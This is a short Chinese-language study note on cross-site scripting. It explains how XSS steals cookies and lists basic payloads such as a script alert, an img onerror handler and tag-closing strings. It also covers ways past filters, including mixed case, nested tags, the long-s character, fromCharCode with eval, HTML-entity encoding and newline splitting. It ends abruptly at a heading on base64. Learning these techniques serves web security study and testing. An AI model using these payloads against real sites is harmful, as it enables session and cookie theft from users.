构造xss有三大对手:正则,转义,标记
其一 攻击原理:
1.将带有xss的HTTP链接给用户(或该网页已被xss攻击,形成特有漏洞页面),用户登陆时网站执行xss脚本,攻击者获取用户信息(cookie等)
2.构造xss跨站漏洞页面
3.基本套路:
<script>alert(xss)</script> //正面直接刚
<img src=" " onerror=""> //onerror事件
“><...........><" //闭合前后标签
background-image:url(javascript:........) //这个style很不一样哦
其二 关键词过滤:
关键词 | 过滤手段 | 绕过方法 |
---|---|---|
script | 过滤小写 | 大小写混写script |
script | 过滤大小写 | 嵌套script标签绕过 |
script | 含有script关键词直接die | 用img标签的onerror报错执行脚本 |
script | … | ſcript这个词居然可以解析成script,然后绕过script的过滤 |
alert(‘xss’) | 编码绕过 | eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41)) |
JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,这个函数都要配合EVAL来使用才有效果。
这个的使用原理是先编码绕过过滤然后再还原
其三 字符编码
之前看各种xss的注入姿势就对字符编码产生了超级大的疑惑,留下不学无术的眼泪。一下就是我的问题:
- url编码,ASCII这些都是什么鬼
- 什么时候能用,什么时候不能用(╯▔皿▔)╯
- 哪些位置要用哪些编码
主要的编码:
- url编码
url编码是给浏览器解析用的
- Unicode编码
- HTML编码
html实体编码本身存在的意义是防止与HTML本身语义标记的冲突。html标签中识别html实体编码,并且会在html页面加载时会对编码进行解码。而使用这个编码的目的是为了在构造html标签,(浏览器是不会在html标签里解析js中的那些编码)
编码过后
<img src="x" onerror="alert(1)">
原code:
<img src="x" onerror="alert(1)">
除此之外,换行符也可以帮助绕过一些字符如:javascript过滤,可以用javasc
ript
绕过
: => [冒号]

 => [换行]
不要怀疑这样有没得用,浏览器中的解析器中词法分析器起的作用会跳过空白跟换行之类的无效字符。
- base64编码